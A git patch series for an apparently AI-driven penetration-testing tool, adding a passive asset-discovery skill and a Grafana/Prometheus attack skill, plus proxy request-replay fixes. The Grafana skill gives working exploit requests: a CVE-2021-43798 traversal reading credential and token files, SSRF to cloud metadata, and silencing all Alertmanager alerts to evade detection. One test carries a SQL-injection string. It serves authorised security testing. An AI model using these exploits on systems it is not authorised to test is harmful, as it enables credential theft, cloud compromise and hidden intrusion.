From 230324d2b80a5a27506f85fc521845d8464b04c0 Mon Sep 17 00:00:00 2001 From: alex s <46074070+bearsyankees@users.noreply.github.com> Date: Sun, 19 Jul 2026 16:47:31 -0400 Subject: [PATCH 001/262] recon asset discovery skill (#809) * Add passive asset discovery reconnaissance skill * Document asset discovery reconnaissance skill * Refine asset discovery reconnaissance skill * Add scope guidance to asset discovery skill --- docs/advanced/skills.mdx | 8 + .../skills/reconnaissance/asset_discovery.md | 151 ++++++++++++++++++ 2 files changed, 159 insertions(+) create mode 100644 strix/skills/reconnaissance/asset_discovery.md diff --git a/docs/advanced/skills.mdx b/docs/advanced/skills.mdx index 38aacd00..8d9ced96 100644 --- a/docs/advanced/skills.mdx +++ b/docs/advanced/skills.mdx @@ -81,6 +81,14 @@ Protocol-specific testing techniques. | --------- | ------------------------------------------------ | | `graphql` | GraphQL introspection, batching, resolver issues | +### Reconnaissance + +Passive discovery and attack-surface mapping techniques. + +| Skill | Coverage | +| ----------------- | --------------------------------------------------------------- | +| `asset_discovery` | CT, TLS SAN pivoting, passive DNS, and ASN/IP asset enumeration | + ### Tooling Sandbox CLI playbooks for core recon and scanning tools. diff --git a/strix/skills/reconnaissance/asset_discovery.md b/strix/skills/reconnaissance/asset_discovery.md new file mode 100644 index 00000000..2ad85867 --- /dev/null +++ b/strix/skills/reconnaissance/asset_discovery.md @@ -0,0 +1,151 @@ +--- +name: asset-discovery +description: Passive asset and attack-surface discovery via certificate transparency, TLS SAN pivoting, passive DNS, and ASN/IP enumeration to find hosts beyond subdomain brute force +--- + +# Asset Discovery + +Most engagements start from a small seed (one domain, one org name) but the real attack surface is far larger: forgotten hosts, staging/internal-named services, acquisitions, and infrastructure that never appears in a wordlist. Build a broad, deduplicated inventory using passive intelligence — certificate transparency, TLS certificate metadata, passive DNS, and ASN/IP data — then collapse it into a probed, classified attack surface. The aim is coverage and pivoting: every certificate, DNS record, and IP is a lead to more assets. + +Only use this skill when all subdomains and related assets of the target are in scope — broad discovery pulls in hosts far beyond the seed. + +## Attack Surface + +- Hosts discoverable via issued certificates (CT logs) but absent from DNS brute force +- Internal/staging/pre-prod hostnames leaked in certificate SAN lists +- Sibling and acquisition domains sharing certificates, ASNs, or IP ranges with the seed +- Wildcard and short-lived certs revealing naming conventions (`*.internal.example.com`, `k8s-*`, `argocd.*`) +- ASN-owned IP ranges hosting services with no DNS name at all +- Virtual hosts co-located on shared IPs (multiple apps behind one address) +- Non-HTTP services on discovered hosts (databases, brokers, admin ports) + +## High-Value Sources + +### Certificate Transparency (CT) + +CT logs record nearly every publicly-trusted certificate. Query by domain (matches SAN/CN) and by organization name. + +- **crt.sh** (free, no key): + - By domain incl. subdomains: `curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sed 's/^\*\.//' | sort -u` + - By organization: `https://crt.sh/?O=Example+Inc&output=json` +- **Censys / Shodan / Fofa** (API keys): search certs by `parsed.names`, `parsed.subject.organization`, or a specific `fingerprint_sha256`, then pivot to every host serving that cert. +- Cross-check multiple indexes (`certspotter`, Google CT, `chaos`) — no single log is complete. +- **Wildcards** (`*.corp.example.com`) reveal internal naming schemes even when individual hosts resolve privately; use them to seed targeted guesses (`grafana.corp`, `ci.corp`, `vault.corp`). + +### TLS Certificate SAN/CN + +- **SAN expansion**: one cert often lists many hostnames (marketing + api + admin + internal) — extract every SAN, not just the queried name. +- **Shared-cert pivot**: the same cert fingerprint served on multiple IPs ties disparate assets to one owner. +- **Issuer/org pivot**: certs sharing `subject.organization`/`organizationalUnit` frequently belong to the same target. +- **Active read** catches names never submitted to public CT: `echo | openssl s_client -connect HOST:443 -servername HOST 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'` +- **Internal leak signal**: SANs like `localhost`, `*.internal`, `*.svc.cluster.local`, `*.local`, or RFC1918-style names on a public cert expose internal naming and sometimes internal services fronted publicly. + +### Passive DNS + +- Forward-resolve every name (A/AAAA/CNAME); keep CNAME chains — they reveal third-party providers and CDNs. +- **Reverse DNS (PTR)** on discovered IPs surfaces co-located hostnames. +- **Historical/passive DNS** (SecurityTrails, VirusTotal, `chaos`, passivedns providers) recovers names that no longer resolve but may still front live infra. + +### ASN & IP Ranges + +- Map a known IP to its ASN and netblock: `whois -h whois.cymru.com " -v "` or a BGP/ASN lookup. +- If the org runs its own ASN, enumerate all announced prefixes and treat them as candidate assets. +- For cloud-hosted targets the IP belongs to the provider, not the org — pivot via cert/vhost instead of netblock. + +## Recommended Tooling + +Prefer the projectdiscovery suite (already available in the sandbox and pipeline-friendly with JSON output): + +- **`subfinder`** — passive subdomain aggregation across many sources incl. CT: `subfinder -d example.com -all -recursive -silent -oJ -o subs.jsonl` +- **`tlsx`** — TLS/cert data at scale; grab SANs and issuer/org to pivot: `tlsx -l hosts.txt -san -cn -tls-version -json -o tls.jsonl` +- **`uncover`** — query Shodan/Censys/Fofa/Quake/crt.sh engines from one CLI: `uncover -q 'ssl:"Example Inc"' -e shodan,censys,fofa -json` +- **`asnmap`** — org/domain/ASN → CIDR ranges: `asnmap -d example.com -json` / `asnmap -org "Example Inc"` +- **`mapcidr`** — expand/aggregate CIDRs into host lists for probing: `mapcidr -cidr 192.0.2.0/24 -o hosts.txt` +- **`dnsx`** — fast resolution, PTR, and wildcard filtering: `dnsx -l names.txt -a -aaaa -cname -ptr -resp -json -o dns.jsonl` +- **`httpx`** — live probing + cert grab in one pass (see methodology). +- **`naabu`** — port sweep for non-HTTP services: `naabu -list hosts.txt -top-ports 100 -verify -silent` + +Also useful: **`amass`** (`amass intel`/`enum` for ASN, cert, and passive sources), **`cero`** (bulk SAN extraction from IPs/ranges), and direct **crt.sh** JSON queries when no keys are configured. Cross-source results — CT + passive DNS + `subfinder` together beat any single source. + +## Key Techniques + +### Iterative Seed Expansion + +Every new name, PTR result, CNAME target, and cert SAN becomes a fresh seed. Loop CT → SAN extraction → passive DNS → ASN/range expansion until the asset set stops growing. + +### Cert-Fingerprint Pivoting + +Search Censys/Shodan (or `uncover`) by a cert's `fingerprint_sha256` to find every other host presenting the same certificate — the strongest cross-asset link for tying acquisitions and shadow infra to the target. + +### Naming-Convention Inference + +Wildcard SANs and observed hostnames expose the org's naming scheme; generate targeted candidates from it (`..example.com`) rather than blind brute force. + +### IP-First Discovery + +For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served certs (`tlsx`) to find services that have no DNS name at all. + +## Advanced Techniques + +- **Active SAN harvesting** across whole ranges with `tlsx`/`cero` recovers internal hostnames never logged to public CT. +- **Favicon and response hashing** (`httpx -favicon`, hash pivots in Shodan) clusters instances of the same app across unrelated hostnames. +- **Vhost differentials**: probe a single IP with multiple `Host:` values to unmask co-located apps behind one address. +- **Historical CT/DNS diffing** highlights recently issued certs and newly appearing hosts — high-signal for fresh or misconfigured deployments. + +## Consolidation & Probing + +1. **Dedupe** names and IPs into one inventory; record source(s) per asset for confidence. +2. **Live probe** with `httpx`, capturing status/title/tech/server and cert SANs in one pass — each grabbed SAN feeds back as a new seed: + `httpx -l hosts.txt -sc -title -server -td -tls-grab -json -o assets.jsonl` +3. **Classify** assets by function from title/tech/path signals: app, API, marketing, auth, CI/CD, observability, storage, admin, VCS, mail. Cluster by role, not by a specific product. +4. **Port sweep** interesting hosts with `naabu` for non-HTTP services (DBs, caches, brokers, mgmt ports). +5. **Prioritize** by exposure and value, then hand each finding to the right specialist skill: + - Exposed dashboards / debug / observability / metadata leaks → `information_disclosure` + - Login/admin panels with default or weak creds → `weak_password_detection` + - Dangling DNS / unclaimed provider resources → `subdomain_takeover` + - Cloud consoles/metadata surfaces → `aws` / `gcp` / `kubernetes` + +## Testing Methodology + +1. **Seed** - domains, org/legal names, known IPs, email domains, code-host org +2. **Certificate transparency** - pull all logged certs per seed domain and org name (crt.sh, `uncover`) +3. **SAN/CN extraction** - parse every Subject CN and SAN with `tlsx`; each new name is a new seed +4. **Passive DNS** - resolve forward and reverse with `dnsx`; harvest historical records +5. **ASN/IP mapping** - `asnmap` → `mapcidr` to expand owned ranges, then sweep for live hosts +6. **Active TLS pivot** - `tlsx`/`cero` on live IPs/ports to grab SANs missing from public CT +7. **Consolidate & probe** - dedupe, `httpx` probe, classify, and route to specialists + +## Validation + +1. Confirm each discovered asset actually resolves and serves content (live `httpx` result, not just a passive hit) +2. Attribute assets to the target via matching cert org, shared cert fingerprint, or DNS under a seed domain +3. Deduplicate vhost aliases and CDN edges down to distinct origins so the surface is not inflated +4. Record provenance (which source produced each asset) for reproducibility + +## False Positives + +- CDN/edge hostnames and provider default names that are not org-owned +- Shared-hosting neighbors on the same IP (vhost co-tenancy, not the target's asset) +- Stale historical DNS entries pointing at reassigned infrastructure +- Wildcard-cert-implied hostnames that never actually resolve or serve content + +## Impact + +- Expanded attack surface: forgotten, staging, and internal-named hosts brute force misses +- Discovery of misconfigured or unauthenticated services fronted by leaked internal hostnames +- Attribution of shadow infra, acquisitions, and sibling domains to the target +- A prioritized, classified inventory that feeds every downstream specialist skill + +## Pro Tips + +1. Loop the pipeline — every SAN, PTR, and CNAME target is a new seed until the set converges. +2. crt.sh is the cheapest high-yield source (no key); Censys/Shodan via `uncover` add cert-fingerprint and vhost pivoting when keys exist. +3. Always cert-grab live hosts with `tlsx` — active SANs catch internal hostnames never sent to public CT. +4. Internal-looking SANs (`*.internal`, `*.svc.cluster.local`, staging names) are the highest-signal leads. +5. Wildcard SANs reveal naming conventions — seed targeted guesses instead of blind brute force. +6. Cluster by function, not product name, so the workflow generalizes to any exposed service. +7. Keep JSON output throughout so stages chain cleanly (`subfinder` → `dnsx` → `httpx` → `naabu`). + +## Summary + +Broad passive discovery — CT + TLS SAN pivoting + passive DNS + ASN/IP mapping, looped until convergence — finds the assets brute force misses, especially internal-named and forgotten services leaked through certificates. Build the inventory with the projectdiscovery suite, probe and classify it generically, then route each interesting asset to the specialist skill for its class. From 8cd9abba21d9a921ba740c9b3f8f82543f864cd6 Mon Sep 17 00:00:00 2001 From: alex s <46074070+bearsyankees@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:56:25 -0400 Subject: [PATCH 002/262] docs(skills): add grafana_prometheus observability pivot skill (#812) * docs(skills): add grafana_prometheus observability pivot skill * docs(skills): fix grafana/prometheus SSRF + redacted-creds accuracy (greptile) --- .../skills/technologies/grafana_prometheus.md | 189 ++++++++++++++++++ 1 file changed, 189 insertions(+) create mode 100644 strix/skills/technologies/grafana_prometheus.md diff --git a/strix/skills/technologies/grafana_prometheus.md b/strix/skills/technologies/grafana_prometheus.md new file mode 100644 index 00000000..ee1ae63b --- /dev/null +++ b/strix/skills/technologies/grafana_prometheus.md @@ -0,0 +1,189 @@ +--- +name: grafana_prometheus +description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network +--- + +# Grafana & Prometheus (Observability Stack) + +Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover. + +## Attack Surface + +**Grafana** (default `:3000`) +- Web UI + REST API (`/api/*`), login, org/user management, snapshots +- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc. +- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive +- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface +- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector) + +**Prometheus** (default `:9090`) +- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API + +**Alertmanager** (default `:9093`) +- Alert/silence API (`/api/v2/*`), config with receiver credentials + +**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics + +## Reconnaissance + +**Fingerprint & version** (version drives which CVEs apply) +``` +GET /api/health # Grafana: {"version":"...","commit":"..."} +GET /api/frontend/settings # buildInfo, enabled auth, datasource types +GET /login # Grafana login page / footer version +GET /api/v1/status/buildinfo # Prometheus version +GET /metrics # any exporter → prometheus/node/go_* series +``` + +**Auth posture — always test unauthenticated first** +``` +GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read +GET /?orgId=1 # anonymous access enabled? lands on dashboards +GET /api/v1/targets # Prometheus: 200 = no auth +GET /api/v2/status # Alertmanager: 200 = no auth +``` + +**Credential entry points** +- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it) +- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles +- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs + +## Key Vulnerabilities & CVEs + +### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read) +Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists. +``` +curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd' +# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old +``` +High-value reads: +- `/etc/grafana/grafana.ini` and `conf/defaults.ini` → `secret_key`, admin password, SMTP/LDAP creds +- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes +- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`) + +### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB) +Grafana **v11.0.0–11.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4. +- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics. +- Mitigation you'll see: remove `duckdb` from PATH. + +### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain +Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF: +``` +POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ +``` +No creds needed when anonymous access is on (common in demo/lab). + +### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass +Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values. + +### Prometheus / Alertmanager — exposure is the vuln (no auth by default) +Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below). + +## Pivoting: Observability → Deeper Compromise + +This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint. + +### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata) +Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**. +``` +# Step 1: create/edit a data source with an attacker-chosen base URL, e.g. +POST /api/datasources {"name":"x","type":"prometheus","access":"proxy", + "url":"http://169.254.169.254"} # returns the new +# Step 2: relay through THAT data source's id (path appended to its base URL): +GET /api/datasources/proxy//latest/meta-data/iam/security-credentials/ # AWS IMDSv1 +# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google +# → /computeMetadata/v1/instance/service-accounts/default/token +# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host) +``` +Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter. + +### 2. Grafana admin → harvest every backend credential +Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798): +``` +GET /api/datasources # host, port, db, user for 5–15 backends +GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime) +``` +Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system. + +### 3. Prometheus config/targets → leaked scrape credentials + inventory +``` +GET /api/v1/status/config # loaded prometheus.yml +GET /api/v1/targets # every scrape target + discovery metadata labels +``` +Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs). + +### 4. PromQL / metrics → internal topology, versions → known-CVE targeting +Metrics are a recon goldmine. Query without auth: +``` +GET /api/v1/query?query=up # every monitored service (host:port) +GET /api/v1/query?query=node_uname_info # kernel/OS/host +GET /api/v1/query?query=node_dmi_info # cloud provider / hardware +GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs +GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM) +GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions +GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions +GET /api/v1/label/__name__/values # enumerate all metric names → app inventory +GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation +``` +Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout. + +### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics) +``` +GET /api/v2/status # config (receiver creds often masked, structure/routes leak) +POST /api/v2/silences # unauth in default deploys → silence ALL alerts +``` +- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call. +- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints. +- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact. + +### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit +Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover. + +## Testing Methodology + +1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`). +2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341). +3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component. +4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`. +5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`. +6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend. +7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact. + +## Validation + +- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal. +- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path. +- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version. +- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x. +- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable". + +## False Positives / Down-rate + +- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress). +- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked. +- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE). +- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`). +- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact. +- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page). + +## Impact + +- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping. +- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs. +- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798). +- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise. +- Alert suppression for detection evasion; secret/PII exposure via logs & traces. + +## Pro Tips + +1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon. +2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting. +3. Prometheus `` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`. +4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data. +5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets. +6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage. +7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier. + +## Summary + +Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot. From 599f7c752692c8cf531b49ed4defd37c4b816471 Mon Sep 17 00:00:00 2001 From: Thejesh Reddy <35212698+thejesh23@users.noreply.github.com> Date: Mon, 20 Jul 2026 18:43:49 -0700 Subject: [PATCH 003/262] fix(proxy): recompute Content-Length when replaying a modified body (#816) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit build_raw_request kept the Content-Length inherited from the captured request, so replaying a modified body (repeat_request) emitted a request whose declared length did not match the body — truncating the payload or stalling the target. Drop any inherited Content-Length (case-insensitively) and recompute it from the body actually being sent. Adds tests covering a lengthened body, an emptied body, and the no-inherited-header path. Fixes #814 Co-authored-by: thejesh23 --- strix/tools/proxy/caido_api.py | 7 ++++++- tests/test_proxy_client.py | 37 ++++++++++++++++++++++++++++++++++ 2 files changed, 43 insertions(+), 1 deletion(-) diff --git a/strix/tools/proxy/caido_api.py b/strix/tools/proxy/caido_api.py index 277d5c48..6397169d 100644 --- a/strix/tools/proxy/caido_api.py +++ b/strix/tools/proxy/caido_api.py @@ -187,7 +187,12 @@ def build_raw_request( final_headers = {**headers} final_headers.setdefault("Host", parsed.netloc) final_headers.setdefault("User-Agent", "strix") - if body and "Content-Length" not in {k.title() for k in final_headers}: + # A Content-Length inherited from the captured request describes the ORIGINAL + # body; once the body is modified for replay it is stale. Drop any inherited + # value (case-insensitively) and recompute it from the body actually being + # sent, so the replayed request is never desynced (truncated / smuggled). + final_headers = {k: v for k, v in final_headers.items() if k.title() != "Content-Length"} + if body: final_headers["Content-Length"] = str(len(body.encode("utf-8"))) lines = [f"{method.upper()} {path} HTTP/1.1"] diff --git a/tests/test_proxy_client.py b/tests/test_proxy_client.py index 3b589459..0fb8771e 100644 --- a/tests/test_proxy_client.py +++ b/tests/test_proxy_client.py @@ -140,6 +140,43 @@ async def test_host_call_serializes_concurrent_calls() -> None: assert state["max"] == 1 +def _headers_named(raw: bytes, name: str) -> list[str]: + head = raw.decode("utf-8").split("\r\n\r\n", 1)[0] + return [ + line.split(":", 1)[1].strip() + for line in head.split("\r\n")[1:] + if line.split(":", 1)[0].strip().lower() == name.lower() + ] + + +def test_build_raw_request_recomputes_content_length_for_modified_body() -> None: + # The captured request declared Content-Length: 12 (original body); the + # replayed body is longer. The emitted request must carry exactly one + # Content-Length equal to the ACTUAL body length, or the target truncates + # the modified payload (or the connection desyncs). + body = '{"user":"a\' OR 1=1 -- injected long payload"}' + _conn, raw = caido_api.build_raw_request( + method="POST", + url="https://example.com/login", + headers={"content-length": "12", "Content-Type": "application/json"}, + body=body, + ) + sent_body = raw.decode("utf-8").split("\r\n\r\n", 1)[1] + assert sent_body == body + assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))] + + +def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None: + # A body cleared to empty must not keep the inherited (non-zero) length. + _conn, raw = caido_api.build_raw_request( + method="POST", + url="https://example.com/x", + headers={"Content-Length": "12"}, + body="", + ) + assert _headers_named(raw, "Content-Length") == [] + + class _Ctx: def __init__(self, context: Any) -> None: self.context = context From f9890a672d623fbce63117e5757bbb9375407269 Mon Sep 17 00:00:00 2001 From: alex s <46074070+bearsyankees@users.noreply.github.com> Date: Mon, 20 Jul 2026 21:56:34 -0400 Subject: [PATCH 004/262] strip transfer encoding (#820) * test(proxy): drop transfer encoding on replay * test(proxy): drop transfer encoding on replay --- strix/tools/proxy/caido_api.py | 17 ++++++++++++----- tests/test_proxy_client.py | 16 ++++++++++++++++ 2 files changed, 28 insertions(+), 5 deletions(-) diff --git a/strix/tools/proxy/caido_api.py b/strix/tools/proxy/caido_api.py index 6397169d..86ac9752 100644 --- a/strix/tools/proxy/caido_api.py +++ b/strix/tools/proxy/caido_api.py @@ -167,6 +167,9 @@ async def get_request_with_client( return await client.request.get(request_id, opts) +_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"}) + + def build_raw_request( *, method: str, @@ -187,11 +190,15 @@ def build_raw_request( final_headers = {**headers} final_headers.setdefault("Host", parsed.netloc) final_headers.setdefault("User-Agent", "strix") - # A Content-Length inherited from the captured request describes the ORIGINAL - # body; once the body is modified for replay it is stale. Drop any inherited - # value (case-insensitively) and recompute it from the body actually being - # sent, so the replayed request is never desynced (truncated / smuggled). - final_headers = {k: v for k, v in final_headers.items() if k.title() != "Content-Length"} + # Framing headers inherited from the captured request describe the ORIGINAL + # body; once the body is modified for replay they are stale. We always send a + # plain (non-chunked) body with an explicit Content-Length, so drop any + # inherited Content-Length AND Transfer-Encoding (case-insensitively) and + # recompute the length from the body actually being sent. This keeps the two + # framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover + # Transfer-Encoding would make the target ignore Content-Length and try to + # parse the body as chunked), so the replay is never desynced. + final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS} if body: final_headers["Content-Length"] = str(len(body.encode("utf-8"))) diff --git a/tests/test_proxy_client.py b/tests/test_proxy_client.py index 0fb8771e..da54af66 100644 --- a/tests/test_proxy_client.py +++ b/tests/test_proxy_client.py @@ -166,6 +166,22 @@ def test_build_raw_request_recomputes_content_length_for_modified_body() -> None assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))] +def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None: + body = '{"user":"updated"}' + _conn, raw = caido_api.build_raw_request( + method="POST", + url="https://example.com/login", + headers={ + "tRaNsFeR-EnCoDiNg": "chunked", + "Content-Length": "7", + "Content-Type": "application/json", + }, + body=body, + ) + assert _headers_named(raw, "Transfer-Encoding") == [] + assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))] + + def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None: # A body cleared to empty must not keep the inherited (non-zero) length. _conn, raw = caido_api.build_raw_request( From f967e6017b9523f5c14b699ebdb64bfadbc288d2 